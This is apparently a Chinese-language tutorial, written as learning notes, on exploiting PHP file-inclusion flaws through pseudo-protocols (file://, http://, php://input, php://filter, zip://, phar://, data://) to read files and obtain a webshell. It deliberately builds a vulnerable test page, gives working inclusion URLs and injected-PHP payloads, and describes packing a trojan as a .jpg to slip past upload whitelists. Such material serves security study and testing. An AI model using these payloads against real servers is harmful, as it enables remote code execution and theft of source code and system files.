首先构造一个具有文件包含漏洞的php文件。

require($_GET['file']);

 其次使用伪协议包含文件并getshell:

  1、file://:访问本地文件系统。

    

    例如。http://localhost/test.php?file=file://C:\Windows\System32\drivers\etc\hosts

    

  2、http://:访问http或https的网址

    

    例如:http://localhost/test.php?file=http://www.baidu.com

    

    http://伪协议必须   allow_url_fopen与allow_url_include同时开启。缺一不可。

    此伪协议就是远程文件包含漏洞。可通过其他主机getshell。例如:http://localhost/test.php?file=http://localhost/1.php

    

  3、php://访问各个输入输出流

     

      php://伪协议,主要为php://input与php://filter

      php://input:将POST输入流当做PHP代码执行。其只受   allow_url_include参数的影响,allow_url_fopen开关与此伪协议无关。

      例如:开启allow_url_include参数,关闭allow_url_fopen参数。

        

      访问:http://localhost/test.php?file=php://input    POST:<?php phpinfo();

        

    php://filter伪协议:不受   allow_url_fopen与allow_url_include参数的影响

      

      此协议主要用于读取php源代码时会用到。

      例如:http://localhost/test.php?file=php://filter/read=convert.base64-encode/resource=./1.php

        

      也就是说,将一个PHP文件通过base64编码读出。倘若不加read读取链,则会将其中内容当做PHP代码执行,倘若如此,则无法读取PHP文件内容,于是在读取链中将其编码。

      例如:php://filter/resource=./1.txt

       

      

      所以说,php://filter此协议不受参数影响,即可读取文件内容,也可包含恶意文件直接getshell。

      例如:将1.txt修改为

      菜刀连接:http://localhost/test.php?file=php://filter/resource=./1.txt

      

      getshell成功

   4、zip://伪协议

      

      试想倘若有一种情况限制文件后缀为php文件,并且上传文件只能传jpg文件。allow_url_fopen参数与allow_url_include参数全部off的情况下。

      

<?php
$file = $_GET['file'] . '.php';
include($file);
?>

      貌似之前所用伪协议都无效,比较旧的版本可以使用00截断,路劲长度截断等。但是若无截断漏洞该如何?

      此种情况下可以使用zip伪协议,将木马放入压缩包中,再将压缩包后缀修改为上传白名单,然后使用zip伪协议进行包含。

      例如:zip://绝对路径\需要解压缩的文件%23子文件名

      

    5、phar://伪协议

      同zip伪协议。故上述问题此协议也可解决。

      phar://cc.jpg/cc,与zip协议不同的是zip协议为绝对路径,而phar协议为相对路径。

      

    6、data://伪协议

      

      可以看到,此协议是受 allow_url_include 限制的。所以 allow_url_fopen参数与allow_url_include都需开启。

      data://text/plain,<?php phpinfo();?>。test/plain, 后面的值会被当做php代码执行。

      

      也可如此:data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

        

PHP文件包含及使用伪协议getshell的更多相关文章

  1. php 文件包含base64读取文件 preg_replace函数

    解题部分题目来源攻防世界web高手进阶区1.拿到题目以后,发现是一个index.php的页面,并且设备-没有显示完全,此位置可疑.2.源代码中发现?page=index,出现page这个get参数,联 ...

  2. PHP文件包含学习笔记

    看完下面的几篇文章,然后从第8行开始以后的内容可以忽略!此文是个笔记梳理,是对大佬文章简单的COPY记录,方便以后查看,自己只复现了其中的例子 参考文章: PHP文件包含漏洞利用思路与Bypass总结 ...

  3. web文件包含

    web安全~文件包含总结   文章来自freebuf,作者总结的很好,所以拿来做笔记用!!! 0×01 文件包含简介 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当P ...

  4. web安全~文件包含总结

    文章来自freebuf,作者总结的很好,所以拿来做笔记用!!! 0×01 文件包含简介 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大 ...

  5. ✔PHP文件包含漏洞全面总结

    我的另一篇博客总结的不够全面,但依然有借鉴价值:https://www.cnblogs.com/Zeker62/p/15192610.html 目录 文件包含的定义 文件包含漏洞常见函数 文件包含漏洞 ...

  6. 文件包含漏洞(DVWA环境中复现)

    LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'page' ]; ?> 可以看到,low级别的代码对包含的文件 ...

  7. PHP文件包含漏洞(利用phpinfo)复现

    0x01 简介 PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell.因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获 ...

  8. DVWA之File Inclusion(文件包含)

    目录 LOW: Medium: High Impossible LOW: 源代码: <?php // The page we wish to display $file = $_GET[ 'pa ...

  9. 【web】php文件包含(利用phpinfo)

    Docker搭建复现环境 地址:https://github.com/vulhub/vulhub/tree/master/php/inclusion ps. github单独下载一个文件夹的方法: 安 ...

随机推荐

  1. C#设计模式-桥接模式(Bridge Pattern)

    引言 例如我有好几个项目,需要外包出去做各种类型的测试,不同的公司基础费用不同,不同的测试类型价格也是不同的.此时不同的项目选择不同的公司和不同类型的测试进行测试价格都是不同的.于是我们可以创建一个项 ...

  2. JavaSE 学习笔记02丨对象与类

    Chapter 4. 对象与类 4.1 面向对象程序设计概述 面向对象程序设计(简称OOP),是当今主流程序设计范型.面向对象的程序是由对象组成的,每个对象(来自于标准库或自定义的)包含对用户公开的特 ...

  3. LeetCode周赛#209

    1609. 奇偶树 #广搜 #二叉树的层次遍历 题目链接 题意 如果一棵二叉树满足下述几个条件,则可以称为奇偶树 : 二叉树根节点所在层下标为 0 ,根的子节点所在层下标为 1 ,根的孙节点所在层下标 ...

  4. Java蓝桥杯练习题——求小数n位后3个数

    求整数除法小数点后第n位开始的3位数 位数不足的补0,如0.125小数第3位后三位:0.12500→500 输入格式:a b n,空格分开,a是被除数,b是除数,n是小数后的位置 输出格式:3位数字, ...

  5. Java基础教程——Lambda表达式

    Lambda表达式 Java8引入Lambda表达式,可以使代码更简洁. 格式:参数,箭头,代码 (参数名)->{代码} Lambda表达式体现了"函数式编程思想"-- 面向 ...

  6. Java基础教程——解析注解

    解析注解 Java 5开始,java.lang.reflect包下的反射API可以在运行时读取Annotation. 应用:定义一个自动执行方法的注解,解析注解.通过反射执行方法,替代配置文件. pa ...

  7. [Android systrace系列] systrace入门第一式

    转载请注明出处:https://www.cnblogs.com/zzcperf/p/13978915.html Android systrace是分析性能问题最称手的工具之一,可以提供丰富的手机运行信 ...

  8. C++/Java小白解Leetcode题,发现了知识盲区……

    一.初见LeetCode 大一时候学习C++,根据课程一直在PTA平台做题目,数据结构和算法的作业题目也是在PTA.后来发现牛客网学习资源也很丰富,孤陋寡闻,前几个月在知道LeetCode这个平台,跟 ...

  9. fist-第九天冲刺随笔

    这个作业属于哪个课程 https://edu.cnblogs.com/campus/fzzcxy/2018SE1 这个作业要求在哪里 https://edu.cnblogs.com/campus/fz ...

  10. JZOJ 2020.10.7 提高B组反思

    JZOJ 2020.10.7 提高B组反思 T1 比较简单的一道题 跑\(k\)遍\(SPFA\) 然后全排列顺序枚举求解 TLE 60 双向存边数组没开两倍-- T2 搞出分母 分子不会求 \(n^ ...